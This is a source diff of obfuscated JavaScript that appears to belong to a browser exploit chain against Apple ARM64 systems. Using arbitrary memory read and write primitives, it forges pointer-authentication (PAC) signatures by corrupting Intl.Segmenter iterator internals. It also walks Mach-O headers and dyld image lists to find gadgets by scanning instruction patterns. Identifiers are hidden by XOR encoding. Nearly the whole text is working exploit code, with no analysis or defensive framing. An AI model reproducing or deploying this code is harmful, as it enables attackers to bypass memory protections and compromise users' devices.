if (y[0] = this.ci, y[1] = this.ci - A.ci, y[2] = this.fi, y[3] = this.fi - A.fi, y[1] > y[0] && (y[3] -= 1), y[2] < y[3]) throw new Error("y[0] = this.ci, y[1] = this.ci - A.ci, y[2] = this.fi, y[3] = this.fi - A.fi, y[1] > y[0] && (y[3] -= 1), y[2] < y[3]");
return new Y(y[1], y[3]);
}
H(A) {
return this.add(Y.ui(A));
}
Bt(A) {
return this.sub(Y.ui(A));
}
Di() {
return this.ci;
}
Ei() {
return this.fi;
}
Dt() {
return new Y(this.ci, this.fi & o);
}
toString() {
let A = this.ci.toString(16);
return this.fi && (A = this.fi.toString(16) + ([122, 122, 122, 122, 122, 122, 122, 122].map((x) => {
return String.fromCharCode(x ^ 74);
}).join("") + A).slice(-8)), [98, 42].map((x) => {
return String.fromCharCode(x ^ 82);
}).join("") + A;
}
}
platformModule.platformState.Ln = Y;
};
return r;
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+415
View File
@@ -0,0 +1,415 @@
let r = {};
const x = globalThis.moduleManager.getModuleByName([113, 115, 114, 118, 116, 118, 116, 114, 32, 114, 118, 116, 115, 125, 38, 37, 37, 32, 116, 33, 113, 115, 33, 114, 32, 125, 33, 39, 125, 119, 117, 118, 116, 39, 116, 34, 113, 118, 112, 115].map((x) => {
return String.fromCharCode(x ^ 68);
}).join("")),
P = globalThis.moduleManager.getModuleByName([88, 93, 95, 95, 80, 10, 8, 90, 11, 88, 92, 88, 80, 11, 8, 91, 8, 81, 15, 93, 89, 11, 12, 91, 81, 94, 15, 95, 93, 95, 13, 93, 13, 94, 92, 80, 90, 12, 11, 89].map((x) => {
return String.fromCharCode(x ^ 105);
}).join("")),
{
N: G,
tn: W,
nn: C,
Vt: m,
U: j,
An: S,
vn: O,
T: l,
v: o,
I: u,
B: s,
K: R,
O: K
} = globalThis.moduleManager.getModuleByName([93, 95, 94, 90, 88, 90, 88, 94, 12, 94, 90, 88, 95, 81, 10, 9, 9, 12, 88, 13, 93, 95, 13, 94, 12, 81, 13, 11, 81, 91, 89, 90, 88, 11, 88, 14, 93, 90, 92, 95].map((x) => {
return String.fromCharCode(x ^ 104);
}).join(""));
r.ga = function () {
P.platformState.exploitPrimitive, P.platformState.Dn;
const t = new ht();
return new bt(t);
};
class bt {
constructor(t) {
this.tb = t, this.cc = !0, this.La = this.tb.La, this.Ga = this.tb.Ga, this.Xa = this.tb.Xa, this.Ma = this.tb.Ma;
}
pacda(t, a) {
return x.Int64.fromBigInt(this.tb.pacda(t.Nt(), a.Nt()));
}
pacia(t, a) {
return x.Int64.fromBigInt(this.tb.pacia(t.Nt(), a.Nt()));
}
autda(t, a) {
return x.Int64.fromBigInt(this.tb.autda(t.Nt(), a.Nt()));
}
autia(t, a) {
return x.Int64.fromBigInt(this.tb.autia(t.Nt(), a.Nt()));
}
tc(t, a, s) {
return x.Int64.fromBigInt(this.tb.Wn.call({
ab: t.Nt(),
sb: a.Nt(),
x1: s.Nt(),
x2: j(0),
ib: j(0),
bb: j(0)
}));
}
}
class ht {
constructor() {
const t = P.platformState.Dn;
P.platformState.exploitPrimitive;
this.Dn = {
_a: t.nl._a
}, this.Wn = new _t(), this.eb = new ft(), this.hb = {
lb: this.eb.call({
ab: this.Dn._a
})
};
{
const a = t.nl.fa;
let s = 0x10n,
i = [4294967296 + (1450143794 ^ -59804733), 4294967296 + (1899192132 ^ -616866636), 4294967296 + (910970458 ^ -481333435), 1967346791 ^ 1631802475, 4294967296 + (1098472013 ^ -344368708), 4294967296 + (1294807873 ^ -416993103), 4294967296 + (2021087605 ^ -1565109404), 1145260849 ^ 1346587449, 4294967296 + (1600931170 ^ -177453421), 4294967296 + (1635151411 ^ -880906813), 4294967296 + (1432839029 ^ -2140913110), 963209802 ^ 761883214, 4294967296 + (1898786936 ^ -617794679), 4294967296 + (861296482 ^ -1721871214), 4294967296 + (829114421 ^ -341162460), 4294967296 + (929134714 ^ -1653572710), 4294967296 + (1682923826 ^ -1307548942)],
b = null;
const e = (s) => t.rl.Kl(a, i, s);
for (;;) {
if (b = e(b), null === b) return null;
if (b !== this.Dn._a) break;
b += j(0x4n * i.length);
}
if (null === b) return null;
this.La = m.ot(b), this.Ga = m.ot(b + 1n * s), this.Xa = m.ot(b + 2n * s), this.Ma = m.ot(b + 3n * s);
}
}
nb(t, a, s) {
P.platformState.Dn, P.platformState.exploitPrimitive;
return this.Wn.call({
ab: this.hb.lb,
sb: a,
x1: s & j(0xffffffffffff),
x2: 1n,
ib: s >> 48n & 0xFFFFn,
bb: j(t)
});
}
pacda(t, a) {
return this.nb(0, t, a);
}
pacia(t, a) {
return this.nb(1, t, a);
}
autia(t, a) {
return this.nb(2, t, a);
}
autda(t, a) {
return this.nb(3, t, a);
}
}
class ft {
constructor() {
const t = P.platformState.Dn,
a = P.platformState.exploitPrimitive;
this.ob = new Tt(), this.hb = {
cb: this.ob.rb([8, 29, 28, 56, 17, 3, 24, 35, 19, 17, 30, 54, 5, 28, 28].map((x) => {
return String.fromCharCode(x ^ 112);
}).join("")),
$l: t.nl.$l,
fb: this.ob.rb([57, 60, 40, 15, 20, 54, 21, 21, 10, 53, 24, 9, 31, 8, 12, 31, 8, 57, 8, 31, 27, 14, 31, 45, 19, 14, 18, 50, 27, 20, 30, 22, 31, 8].map((x) => {
return String.fromCharCode(x ^ 122);
}).join("")),
Zl: t.nl.Zl
};
const s = S(this.hb.fb),
i = t.rl.Ml(s, 911422819 ^ 911422947);
if (4 !== i.length) throw new Error("4 !== i.length");
this.Dn = {
qa: i[1],
$a: i[2]
}, this.ub = a.allocZeroBuffer(32), this._b = a.allocZeroBuffer(48), this.Tb = a.allocZeroBuffer(1666085986 ^ 1666086754), this.gb = new dt();
}
call(t) {
let a = 0;
P.platformState.Dn;
const s = P.platformState.exploitPrimitive,
i = [
[this.ub, [
[0, this._b],
[8, 1],
[12, 1]]],
[this._b, [
[0, 0],
[8, 0],
[16, 0],
[24, 0],
[32, this.Tb],
[40, 1]]],
[this.Tb, [
[64, 0],
[24, 0],
[1110455119 ^ 1110455095, 0],
[846681714 ^ 846681946, 0],
[1431400566 ^ 1431400774, 0],
[1752527982 ^ 1752528214, 0],
[1632580978 ^ 1632580650, 0],
[1145787187 ^ 1145786955, this.hb.fb],
[1347252793 ^ 1347252913, 0],
[910898992 ^ 910898864, 0],
[1883468367 ^ 1883468743, 0],
[1731751514 ^ 1731751882, 0]]]];
for (const [t, a] of i)
for (let [i, b] of a) null == b && (b = 0x0n), s.write64(j(t) + j(i), j(b));
const b = s.read64(this.Dn.qa),
e = s.read64(this.Dn.$a);
try {
s.write64(this.Dn.qa, S(this.hb.Zl)), s.write64(this.Dn.$a, t.ab);
const i = this.gb.call({
ab: this.hb.cb,
sb: this.ub,
x1: this.hb.$l,
x2: 0x0n
});
a = s.read64(i + 0x90n);
} finally {
s.write64(this.Dn.qa, b), s.write64(this.Dn.$a, e);
}
return a;
}
}
class dt {
constructor() {
const t = P.platformState.Dn,
a = P.platformState.exploitPrimitive;
this.Dn = {
Zl: t.nl.Zl,
ql: t.nl.ql,
Yl: t.nl.Yl,
Wl: t.nl.Wl,
$l: t.nl.$l,
Ql: t.nl.Ql,
ra: t.nl.ra
}, this.xb = a.allocZeroBuffer(80), this.pb = a.allocZeroBuffer(80), this.wb = a.allocZeroBuffer(80), this.Tb = a.allocZeroBuffer(1095919665 ^ 1095920433), this.zb = a.allocZeroBuffer(80), this.Pb = new ut();
}
call(t) {
P.platformState.Dn;
const a = P.platformState.exploitPrimitive,
s = [
[this.wb, [
[32, this.Dn.ql],
[8, this.zb],
[48, this.Tb]]],
[this.zb, [
[16, j(7444609979)]]],
[this.Tb, [
[64, 0],
[24, 0],
[1634037332 ^ 1634037292, 0],
[861419615 ^ 861419895, 0],
[1333423928 ^ 1333423624, 0],
[1416380756 ^ 1416380524, 0],
[1416902487 ^ 1416902159, 0],
[1869759335 ^ 1869759007, this.Dn.Ql],
[2020692851 ^ 2020692987, 0],
[812332889 ^ 812332761, t.x1],
[1430803795 ^ 1430803675, this.xb],
[1180129626 ^ 1180129482, j(1733506371 ^ 2074081679)]]],
[this.xb, [
[16, t.ab],
[8, t.sb],
[48, t.x2]]]];
for (const [t, i] of s)
for (let [s, b] of i) null == b && (b = 0x0n), a.write64(j(t) + j(s), j(b));
const i = a.read64(this.Dn.Yl),
b = a.read64(this.Dn.Wl);
try {
a.write64(this.Dn.Yl, this.Dn.$l), a.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb);
} finally {
a.write64(this.Dn.Yl, i), a.write64(this.Dn.Wl, b);
}
return a.read64(this.zb + 0x10n);
}
}
class ut {
constructor() {
const t = P.platformState.exploitPrimitive,
a = new Intl.Segmenter("en", {
Pa: [61, 43, 32, 58, 43, 32, 45, 43].map((x) => {
return String.fromCharCode(x ^ 78);
}).join("")
}),
s = [];
for (let t = 0; t < (1366587205 ^ 1366586985); t++) s.push("a");
const i = s.join(" ");
a.segment(i);
this.yb = a, this.Fb = a.segment(i), this.Cd = t.allocZeroBuffer(globalThis.moduleManager.getModuleByName([4, 1, 3, 3, 12, 86, 84, 6, 87, 4, 0, 4, 12, 87, 84, 7, 84, 13, 83, 1, 5, 87, 80, 7, 13, 2, 83, 3, 1, 3, 81, 1, 81, 2, 0, 12, 6, 80, 87, 5].map((x) => {
return String.fromCharCode(x ^ 53);
}).join("")).platformState.versionFlags.NfRtuR);
}
call(t, a) {
const s = P.platformState.exploitPrimitive,
i = this.Fb[Symbol.iterator](),
b = (() => {
const t = s.getObjectAddress(i);
return s.read64(t + j(globalThis.moduleManager.getModuleByName([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map((x) => {
return String.fromCharCode(x ^ 77);
}).join("")).platformState.versionFlags.jtUNKB));
})(),
e = b + j(globalThis.moduleManager.getModuleByName([112, 117, 119, 119, 120, 34, 32, 114, 35, 112, 116, 112, 120, 35, 32, 115, 32, 121, 39, 117, 113, 35, 36, 115, 121, 118, 39, 119, 117, 119, 37, 117, 37, 118, 116, 120, 114, 36, 35, 113].map((x) => {
return String.fromCharCode(x ^ 65);
}).join("")).platformState.versionFlags.MJf4mX),
h = s.read64(b + j(globalThis.moduleManager.getModuleByName([103, 98, 96, 96, 111, 53, 55, 101, 52, 103, 99, 103, 111, 52, 55, 100, 55, 110, 48, 98, 102, 52, 51, 100, 110, 97, 48, 96, 98, 96, 50, 98, 50, 97, 99, 111, 101, 51, 52, 102].map((x) => {
return String.fromCharCode(x ^ 86);
}).join("")).platformState.versionFlags.zPL1kr)),
l = s.read64(b + j(globalThis.moduleManager.getModuleByName([118, 115, 113, 113, 126, 36, 38, 116, 37, 118, 114, 118, 126, 37, 38, 117, 38, 127, 33, 115, 119, 37, 34, 117, 127, 112, 33, 113, 115, 113, 35, 115, 35, 112, 114, 126, 116, 34, 37, 119].map((x) => {
return String.fromCharCode(x ^ 71);
}).join("")).platformState.versionFlags.ga3074)),
n = s.read64(b + j(globalThis.moduleManager.getModuleByName([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map((x) => {
return String.fromCharCode(x ^ 122);
}).join("")).platformState.versionFlags.yjShKn)),
o = s.read64(e + j(globalThis.moduleManager.getModuleByName([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map((x) => {
return String.fromCharCode(x ^ 103);
}).join("")).platformState.versionFlags.OaAnPR)),
c = s.read64(h + j(globalThis.moduleManager.getModuleByName([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map((x) => {
return String.fromCharCode(x ^ 79);
}).join("")).platformState.versionFlags.PCsIV0)),
r = s.read64(b + j(globalThis.moduleManager.getModuleByName([102, 99, 97, 97, 110, 52, 54, 100, 53, 102, 98, 102, 110, 53, 54, 101, 54, 111, 49, 99, 103, 53, 50, 101, 111, 96, 49, 97, 99, 97, 51, 99, 51, 96, 98, 110, 100, 50, 53, 103].map((x) => {
return String.fromCharCode(x ^ 87);
}).join("")).platformState.versionFlags.oHmyQl));
{
const t = s.read32(c + j(globalThis.moduleManager.getModuleByName([91, 94, 92, 92, 83, 9, 11, 89, 8, 91, 95, 91, 83, 8, 11, 88, 11, 82, 12, 94, 90, 8, 15, 88, 82, 93, 12, 92, 94, 92, 14, 94, 14, 93, 95, 83, 89, 15, 8, 90].map((x) => {
return String.fromCharCode(x ^ 106);
}).join("")).platformState.versionFlags.vnu2oq)),
a = s.read32(c + j(globalThis.moduleManager.getModuleByName([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map((x) => {
return String.fromCharCode(x ^ 78);
}).join("")).platformState.versionFlags.attyap)),
i = 2 * (globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => {
return String.fromCharCode(x ^ 74);
}).join("")).platformState.versionFlags.DjRSp0 + s.read32(c + j(a))),
r = globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => {
return String.fromCharCode(x ^ 80);
}).join("")).platformState.versionFlags.LVt9Wy + i * t;
if (r % 4 != 0) throw new Error("r % 4 != 0");
const [f, d] = s.allocZeroBufferPair(i);
for (let t = 0; t < r; t += 4) s.write32(d + j(t), s.read32(c + j(t)));
const u = 2,
_ = 4;
s.write32(d + j(globalThis.moduleManager.getModuleByName([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map((x) => {
return String.fromCharCode(x ^ 108);
}).join("")).platformState.versionFlags.pUvASJ), _ | u);
for (let i = 0; i < t; i++) {
const t = d + j(globalThis.moduleManager.getModuleByName([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map((x) => {
return String.fromCharCode(x ^ 118);
}).join("")).platformState.versionFlags.sMuYjH + a * i);
s.write32(t, 2);
for (let i = 0; i < a; i++) s.patchByte(t + j(globalThis.moduleManager.getModuleByName([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map((x) => {
return String.fromCharCode(x ^ 104);
}).join("")).platformState.versionFlags.KSrWFg + i), 0);
}
const [T, g] = s.allocZeroBufferPair(963658290 ^ 963658482);
s.write32(d + j(globalThis.moduleManager.getModuleByName([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map((x) => {
return String.fromCharCode(x ^ 103);
}).join("")).platformState.versionFlags.FGsnBi), 48);
{
const t = n + j(globalThis.moduleManager.getModuleByName([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map((x) => {
return String.fromCharCode(x ^ 95);
}).join("")).platformState.versionFlags.msD22k);
for (let a = 0; a < (2037665391 ^ 2037665519); a++) s.write32(t + j(4 * a), 1985627949 ^ 1985628045);
}
s.write64(h + j(globalThis.moduleManager.getModuleByName([114, 119, 117, 117, 122, 32, 34, 112, 33, 114, 118, 114, 122, 33, 34, 113, 34, 123, 37, 119, 115, 33, 38, 113, 123, 116, 37, 117, 119, 117, 39, 119, 39, 116, 118, 122, 112, 38, 33, 115].map((x) => {
return String.fromCharCode(x ^ 67);
}).join("")).platformState.versionFlags.PCsIV0), d), s.write64(b + j(globalThis.moduleManager.getModuleByName([3, 6, 4, 4, 11, 81, 83, 1, 80, 3, 7, 3, 11, 80, 83, 0, 83, 10, 84, 6, 2, 80, 87, 0, 10, 5, 84, 4, 6, 4, 86, 6, 86, 5, 7, 11, 1, 87, 80, 2].map((x) => {
return String.fromCharCode(x ^ 50);
}).join("")).platformState.versionFlags.oHmyQl), g), s.write32(l + j(globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => {
return String.fromCharCode(x ^ 74);
}).join("")).platformState.versionFlags.LM9blg), 4294967296 + (1381263994 ^ -1381263995)), s.write32(e + j(globalThis.moduleManager.getModuleByName([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map((x) => {
return String.fromCharCode(x ^ 101);
}).join("")).platformState.versionFlags.TLJcwX), 964121976 ^ 964122072);
for (let t = 0; t < globalThis.moduleManager.getModuleByName([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map((x) => {
return String.fromCharCode(x ^ 95);
}).join("")).platformState.versionFlags.NfRtuR; t += 4) s.write32(this.Cd + j(t), s.read32(o) + t);
}
s.write64(e + j(globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => {
return String.fromCharCode(x ^ 80);
}).join("")).platformState.versionFlags.OaAnPR), this.Cd);
try {
s.write64(this.Cd + j(globalThis.moduleManager.getModuleByName([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map((x) => {
return String.fromCharCode(x ^ 78);
}).join("")).platformState.versionFlags.qRQJn0), t), s.write64(e + j(globalThis.moduleManager.getModuleByName([70, 67, 65, 65, 78, 20, 22, 68, 21, 70, 66, 70, 78, 21, 22, 69, 22, 79, 17, 67, 71, 21, 18, 69, 79, 64, 17, 65, 67, 65, 19, 67, 19, 64, 66, 78, 68, 18, 21, 71].map((x) => {
return String.fromCharCode(x ^ 119);
}).join("")).platformState.versionFlags.SAobkS), a), i.next().value;
} finally {
s.write64(e + j(globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => {
return String.fromCharCode(x ^ 74);
}).join("")).platformState.versionFlags.OaAnPR), o), s.write64(b + j(globalThis.moduleManager.getModuleByName([82, 87, 85, 85, 90, 0, 2, 80, 1, 82, 86, 82, 90, 1, 2, 81, 2, 91, 5, 87, 83, 1, 6, 81, 91, 84, 5, 85, 87, 85, 7, 87, 7, 84, 86, 90, 80, 6, 1, 83].map((x) => {
return String.fromCharCode(x ^ 99);
}).join("")).platformState.versionFlags.oHmyQl), r);
}
}
}
class _t {
constructor() {
P.platformState.Dn;
const t = P.platformState.exploitPrimitive;
this.ob = new Tt(), this.hb = {
cb: this.ob.rb([29, 8, 9, 45, 4, 22, 13, 54, 6, 4, 11, 35, 16, 9, 9].map((x) => {
return String.fromCharCode(x ^ 101);
}).join(""))
}, this.ub = t.allocZeroBuffer(32), this._b = t.allocZeroBuffer(48), this.gb = new dt();
}
call(t) {
P.platformState.Dn;
const a = P.platformState.exploitPrimitive;
if (0x0n === t.sb) throw new Error("0x0n === t.sb");
const s = [
[this.ub, [
[0, this._b],
[8, 1],
[12, 1]]],
[this._b, [
[0, 0],
[8, t.x2],
[16, t.ib],
[24, t.bb],
[32, t.sb],
[40, 1]]]];
for (const [t, i] of s)
for (let [s, b] of i) null == b && (b = 0x0n), a.write64(j(t) + j(s), j(b));
return this.gb.call({
ab: this.hb.cb,
sb: this.ub,
x1: t.ab,
x2: t.x1
});
}
}
class Tt {
constructor() {
const t = P.platformState.Dn;
P.platformState.exploitPrimitive;
this.hb = {
ba: t.nl.ba
}, this.gb = new dt();
}
rb(t) {
P.platformState.Dn;
const a = P.platformState.exploitPrimitive,
[s, i] = a.allocCString(t);
return this.gb.call({
ab: this.hb.ba,
sb: i,
x1: 0x0n,
x2: 0x0n
});
}
}
return r;
+640
View File
@@ -0,0 +1,640 @@
let r = {};
globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247");
const P = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"),
{
N: G,
tn: W,
nn: C,
Vt: m,
U: j,
An: S,
vn: O,
T: l,
v: o,
I: u,
B: s,
K: R,
O: K
} = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247");
class nt {
constructor(r, n) {
this.Qo = r, this.images = n, this.rl = new or(), this.nl = new er();
}
tl(...r) {
for (const n of r)
for (const r of this.images)
if (-1 !== r.path.indexOf(n)) return null === r.ol && (r.ol = rr.el(r.ll)), r.ol;
throw new Error("-1 === r.path.indexOf(n)");
}
static il(r) {
const n = P.platformState.exploitPrimitive,
t = rr.il(r),
o = (() => {
const r = t.sl("__TEXT");
if (null === r) throw new Error("null === r");
return {
Qo: t.al - r.cl,
fl: t.al - r._l
};
})(),
e = n.read32(o.fl + 0x1c0n),
l = n.read32(o.fl + 0x1c4n),
i = [],
s = o.fl + j(e);
for (let r = 0; r < l; r++) {
const e = S(n.read64(s + j(32 * r))) + o.Qo,
l = n.read32(s + j(32 * r) + 0x18n),
a = n.readString(o.fl + j(l), 1024);
i.push({
path: a,
ll: e,
ol: t.al === e ? t : null
});
}
return new nt(o.Qo, i);
}
}
r.ul = async function () {
const r = P.platformState.exploitPrimitive,
n = new Intl.DateTimeFormat(),
t = r.getObjectAddress(n),
o = r.read64(t + 0x18n),
e = S(r.read64(o)),
l = S(r.read64(e)),
i = nt.il(l);
P.platformState.Dn = i;
};
class rr {
static il(r) {
const n = P.platformState.exploitPrimitive;
let t = r - r % 0x1000n;
for (;
4277009103 !== n.read32(t);) t -= 0x1000n;
return rr.el(t);
}
static el(r) {
const n = P.platformState.exploitPrimitive,
t = n.read32(r + j(16)),
o = [];
let e = null,
l = null,
i = 32;
for (let s = 0; s < t; s += 1) {
const t = n.read32(r + j(i)),
s = n.read32(r + j(i) + j(4));
switch (t) {
case 25:{
const t = Object.create({
Xe: n.readString(r + j(i) + j(8), 16),
cl: n.read64(r + j(i) + j(24)),
ml: n.read64(r + j(i) + j(32)),
_l: n.read64(r + j(i) + j(40)),
dl: n.read64(r + j(i) + j(48)),
hl: n.read32(r + j(i) + j(56)),
wl: n.read32(r + j(i) + j(60)),
flags: n.read32(r + j(i) + j(68)),
bl: void 0,
yl: (() => {
const t = n.read32(r + j(i) + j(64)),
o = new Array(t).fill(null);
for (const t in o) o[t] = {
name: n.readString(r + j(80 * t) + j(i + 72), 16),
cl: n.read64(r + j(80 * t) + j(i + 72) + 0x20n),
ml: n.read64(r + j(80 * t) + j(i + 72) + 0x28n),
_l: n.read64(r + j(80 * t) + j(i + 72) + 0x30n),
bl: void 0
};
return o;
})(),
xl(r) {
for (const n of this.yl)
if (n.name === r) return n;
return null;
}
});
if ("__TEXT" === t.Xe) {
if (null !== l) throw new Error("null !== l");
l = r - t.cl;
}
o.push(t);
break;
}
case 2147483682:
case 2147483699:
if (null !== e) throw new Error("null !== e");
e = {
me: n.read32(r + j(i) + j(2147483682 === t ? 40 : 8)),
size: n.read32(r + j(i) + j(2147483682 === t ? 44 : 12))
};
}
i += s;
}
const s = {},
a = [];
if (null === l) throw new Error("null === l");
for (const r of o) {
r.bl = r.cl + l;
for (const n of r.yl) n.bl = r.cl + l;
r.Xe.length > 0 ? s[r.Xe] = r : a.push(r);
}
return new readInt64FromOffset(r, s, a, e);
}
constructor(r, n, t, o) {
const e = P.platformState.exploitPrimitive;
this.al = r, this.Al = n, this.Sl = t, this.Cl = (() => {
if (null === o) return null;
const r = n.__LINKEDIT;
if (void 0 === r) return null;
const t = r.bl + j(o.me) - r._l,
l = new Uint32Array(o.size + 3 >> 2);
for (let r = 0; r < l.length; r++) l[r] = e.read32(t + j(4 * r));
return new readRawBigInt(l.buffer);
})();
}
sl(r) {
const n = this.Al[r];
return void 0 !== n ? n : null;
}
kl(r) {
if (null !== this.Cl) {
const n = this.Cl.Nn(r);
return null !== n ? this.al + j(n) : null;
}
throw new Error("null === this.Cl");
}
}
class nr {
Nn(r) {
const n = new addrof(this.Tl);
let t = "",
o = !1;
for (; !o;) {
o = !0;
const e = n.El();
if (0 !== e && r === t) {
const r = n.El();
if (8 !== r && 16 !== r) {
return n.El();
}
}
n.pl(e);
const l = n.gl();
for (let e = 0; e < l; e += 1) {
const e = n.Il(0, 4132),
l = n.El();
if (e.length > 0 && r.startsWith(t + e)) {
t += e, n.ue(l), o = !1;
break;
}
}
}
return null;
}
constructor(r) {
this.Tl = r;
}
}
class tr {
constructor(r) {
this.Fl = new Uint8Array(r), this.en = new DataView(r), this.Pl = 0;
}
pl(r) {
this.Pl += r;
}
ue(r) {
this.Pl = r;
}
gl() {
const r = this.Fl[this.Pl];
return this.Pl += 1, r;
}
Il(r, n = 256) {
let t = "";
for (let o = 0; o < n; o++) {
const n = this.gl();
if (n === r) return t;
t += String.fromCharCode(n);
}
throw new Error("n === r not found");
}
El() {
let r = 0,
n = 0;
for (let t = 0; t < (128); t += 1) {
const t = this.gl();
if (r += (0x7f & t) << n, n += 7, 0 == (0x80 & t)) return r;
}
throw new Error("r += (0x7f & t) << n, n += 7, 0 == (0x80 & t) not found");
}
}
class or {
constructor() {}
Ul(r) {
const n = P.platformState.exploitPrimitive,
t = r.vl.kl(r.Dl);
if (null !== t)
for (const o of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) {
const e = r.Ll.sl(o);
if (null !== e)
for (let r = 0x0n; r < e.ml; r += 0x8n) {
const o = n.read64(e.bl + r);
if (S(o) === t) return o;
}
}
return null;
}
Bl(r) {
const n = P.platformState.exploitPrimitive,
t = r.ol.sl("__TEXT");
if (null === t) return null;
const o = r.Ol;
for (const e of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) {
const l = r.ol.sl(e);
if (null !== l)
for (let r = 0x0n; r < l.ml; r += 0x8n) {
const e = n.read64(l.bl + r),
i = S(e);
if (t.bl <= i && i <= t.bl + t.ml && this.Nl(i, o)) return e;
}
}
return null;
}
Kl(r, n, t = null) {
P.platformState.exploitPrimitive;
const o = r.sl("__TEXT");
if (null === o) return null;
const e = o.bl;
let l = null !== t ? t - o.bl : 0x0n;
for (; l < o.ml;) {
const r = e + l;
if (this.Nl(r, n, !1)) return r;
l += 0x4n;
}
return null;
}
zl(r, n = 64) {
const t = P.platformState.exploitPrimitive,
o = r,
e = [];
let l = 0x0n;
for (; l < j(n);) {
const r = o + l,
n = t.read32(r);
if (0x14000000n === (0xfc000000n & j(n)) || 0x94000000n === (0xfc000000n & j(n))) {
const t = 4 * this.Hl(n);
e.push(r + j(t));
}
l += 0x4n;
}
return e;
}
Rl(r, n, t = 64) {
P.platformState.exploitPrimitive;
const o = r;
let e = 0x0n;
for (; e < j(t);) {
const r = o + e;
if (this.Nl(r, n, !1)) return r;
e += 0x4n;
}
return null;
}
Hl(r) {
return r << 6 >> 6;
}
Nl(r, n, t = !0) {
const o = P.platformState.exploitPrimitive;
let e = 0;
const l = [];
for (const r of n) 0x90000000n === (0x9f000000n & j(r)) ? (l.push(0x9f00001fn), e += 1) : e > 0 && 0xf9400000n === (0xffc00000n & j(r)) ? l.push(0xffc003ffn) : 0x14000000n === (0xfc000000n & j(r)) || 0x94000000n === (0xfc000000n & j(r)) ? l.push(0xfc000000n) : l.push(0xffffffffn);
l.length !== n.length && W();
let i = r;
for (const r in n) {
const e = o.read32(i);
